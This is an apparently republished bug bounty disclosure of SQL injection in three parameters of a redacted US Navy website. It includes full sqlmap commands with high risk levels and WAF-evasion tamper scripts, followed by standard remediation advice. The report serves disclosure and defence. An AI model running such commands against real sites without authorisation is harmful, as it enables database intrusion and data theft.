SQL injection found in US Navy Website (http://███/)
Several parameters on a US Navy website were vulnerable to SQL injection, as confirmed by SQLmap.
- Triaged in 37 hours
- Fixed in 8 months
- Disclosed after 2.9 years
Summary:
SQL injection found in US Navy Website (http://█████/)
Description:
SQL injection found in US Navy website, parameters are:
/display.asp?story_id=98373 /listStories.asp?x=4 /viewVideo.asp?t=6
SQLmap commands:
sqlmap.py -u http://█████/submit/display.asp?story_id=98373 --random-agent --dbms=HSQLDB --level=5 --risk=3 --tamper=between,bluecoat --data="display.asp?story_id=98373" --time-sec=65 --no-cast -v 3
sqlmap.py -u http://███/listStories.asp?x=4 --random-agent --dbms=HSQLDB --level=5 --risk=3 --tamper=between,bluecoat --data="listStories.asp?x=4" --time-sec=65 --no-cast -v 3
sqlmap.py -u http://██████/viewVideo.asp?t=6 --random-agent --dbms=HSQLDB --level=5 --risk=3 --tamper=between,bluecoat --data="viewVideo.asp?t=6" --time-sec=65 --no-cast -v 3
Impact
Critical
Step-by-step Reproduction Instructions
- Crawling website for vulnerabilities.
- Found some parameters having SQL injection.
- Verified from SQLmap. Screenshots are also attached.
Product, Version, and Configuration (If applicable)
Suggested Mitigation/Remediation Actions
Primary Defenses:
Option #1: Use of Prepared Statements (Parameterized Queries) Option #2: Use of Stored Procedures Option #3: Escaping all User Supplied Input
Additional Defenses:
Also Enforce: Least Privilege Also Perform: White List Input Validation
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application built SQL queries by directly inserting user-supplied input without proper parameterisation or escaping.
What the attacker needed
None
The fix
The report suggests using prepared statements, stored procedures, escaping user input, enforcing least privilege, and whitelist input validation.
How it was found
- Crawl the website to find potential vulnerabilities.
- Identify parameters that appear vulnerable to SQL injection.
- Use SQLmap to confirm the SQL injection on those parameters.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is a way to sneak database commands into a website's input fields. Here, the website did not properly check what users typed into certain links, so an attacker could make the database do unintended things, like reveal private data.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.